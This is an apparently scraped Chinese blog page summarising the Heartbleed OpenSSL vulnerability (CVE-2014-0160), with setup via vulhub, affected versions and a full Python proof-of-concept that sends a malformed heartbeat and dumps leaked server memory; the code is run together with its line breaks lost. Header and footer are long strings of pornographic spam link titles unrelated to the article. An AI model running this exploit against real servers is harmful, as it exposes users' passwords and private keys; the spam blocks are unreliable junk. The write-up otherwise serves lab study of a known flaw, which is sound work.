日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪(fǎng)問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

【研究】心脏出血漏洞

發(fā)布時(shí)間:2023/12/14 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【研究】心脏出血漏洞 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

【研究】

    • 1.環(huán)境
    • 2.原理
    • 3.影響版本
    • 4.利用過(guò)程

1.環(huán)境

環(huán)境
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
這個(gè)搭環(huán)境很方便快捷,具體可以看說(shuō)明,很簡(jiǎn)單

2.原理

2014年4月7日OpenSSL發(fā)布了安全公告,在OpenSSL1.0.1版本的心跳包模塊存在嚴(yán)重漏洞(CVE-2014-0160)。攻擊者可以通過(guò)構(gòu)造特殊的數(shù)據(jù)包,直接遠(yuǎn)程讀取存在漏洞的OpenSSL服務(wù)器內(nèi)存中多達(dá)64KB的數(shù)據(jù),極有可能導(dǎo)致網(wǎng)站用戶(hù)帳號(hào)密碼等敏感數(shù)據(jù)被非法獲取。漏洞發(fā)現(xiàn)者甚至聲稱(chēng)可以直接獲取到證書(shū)私鑰和重要的商業(yè)文檔。

3.影響版本

OpenSSL 1.0.1f(受影響)
OpenSSL 1.0.1g (不受影響)
OpenSSL 1.0.0 branch (不受影響)
OpenSSL 0.9.8 branch (不受影響)

4.利用過(guò)程

http://0day.websaas.com.cn/
簡(jiǎn)單的可以直接在線(xiàn)檢測(cè)

測(cè)試腳本

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code.import sys import struct import socket import time import select import re from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''')hb = h2bin(''' 18 03 02 00 03 01 40 00 ''')def hexdump(s):for b in xrange(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % ord(c) for c in lin)pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)print ' %04x: %-48s %s' % (b, hxdat, pdat)printdef recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = ''remain = lengthwhile remain > 0:rtime = endtime - time.time() if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print 'Unexpected EOF receiving record header - server closed connection'return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print 'Unexpected EOF receiving record payload - server closed connection'return None, None, Noneprint ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print 'No heartbeat response received, server likely not vulnerable'return Falseif typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print 'Connecting...'sys.stdout.flush()s.connect((args[0], opts.port))print 'Sending Client Hello...'sys.stdout.flush()s.send(hello)print 'Waiting for Server Hello...'sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print 'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breakprint 'Sending heartbeat request...'sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()

總結(jié)

以上是生活随笔為你收集整理的【研究】心脏出血漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 福利在线一区二区三区 | 午夜看片 | 伊人伊人伊人 | 182tv午夜| 午夜色网 | 日本午夜激情视频 | 久久激情视频 | 五月天婷婷社区 | 亚洲欧美另类国产 | 国模无码一区二区三区 | 在线天堂一区 | 丰满岳乱妇在线观看中字无码 | 丁香花高清视频完整电影 | 偷拍视频一区二区 | 免费在线观看av的网站 | 男操女免费网站 | 婷婷五月小说 | 九色影视 | 99久久99久久精品国产片果冰 | 播放灌醉水嫩大学生国内精品 | 国产视频麻豆 | 国产成人精品一区二区三区视频 | 亚洲精品短视频 | 奶罩不戴乳罩邻居hd播放 | 天天看片天天操 | 国产婷婷久久 | 成人网视频 | 日本中文字幕一区 | 天天色视频 | 成人免费视频免费观看 | 99精品在线免费视频 | 国产日韩三级 | h在线网站 | 国产在线97| www.精品久久 | 国产精品自产拍在线观看 | 亚洲xxxxxx | 国产三级在线免费观看 | 极品销魂美女一区二区三区 | 亚洲在线观看视频 | 女生扒开尿口给男生捅 | sese亚洲| 越南毛茸茸的少妇 | 亚洲片在线观看 | 男生坤坤放进女生坤坤里 | 国产乱码精品一区二三赶尸艳谈 | av动态| 91禁外国网站 | 国内自拍欧美 | 91麻豆精品国产91久久久无需广告 | 欧美操大逼 | 三级在线网站 | 日韩夜夜 | 青草视频网 | 日韩免费av一区 | 婷婷色九月 | 欧美涩色 | 亚洲麻豆视频 | 97在线影院 | 日本色婷婷 | 欧美一区二区免费 | 日韩av一区二区三区四区 | 在线免费观看www | 超碰免费视 | 开心激情av | 国产乱码精品一区二三区蜜臂 | 高清国产午夜精品久久久久久 | 99视频导航 | 麻豆日产六区 | 天堂资源av | 小宝贝真紧h军人h | 日韩一级免费观看 | 婷婷深爱五月 | 日韩欧美一区二区三区在线 | 亚洲欧美在线播放 | 91丝袜美女| 国产乱国产乱老熟 | 午夜福利电影 | 在线观看黄色大片 | 最近最经典中文mv字幕 | 久草成人网 | 特黄老太婆aa毛毛片 | 99热这里 | 日韩成人久久 | 午夜在线播放 | 亚洲欧美日本在线 | 欧美日韩一区二区三区国产精品成人 | 97在线视频免费观看 | 欧美精品一区二区三区久久久 | 一本大道久久 | 国产高清一级片 | 中文字幕在线播放视频 | 亚洲一二三区av | 国产精品香蕉在线观看 | 日韩精品极品视频在线观看免费 | 色妺妺视频网 | www精品一区二区三区 | 日本一区二区久久 | 大乳女喂男人吃奶视频 |